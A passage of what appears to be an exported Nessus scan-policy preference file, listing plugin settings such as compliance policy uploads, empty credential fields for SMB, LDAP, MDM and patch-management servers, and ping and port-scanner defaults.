+Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + +0 + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +0 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex +Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL +SSL +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +no + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio 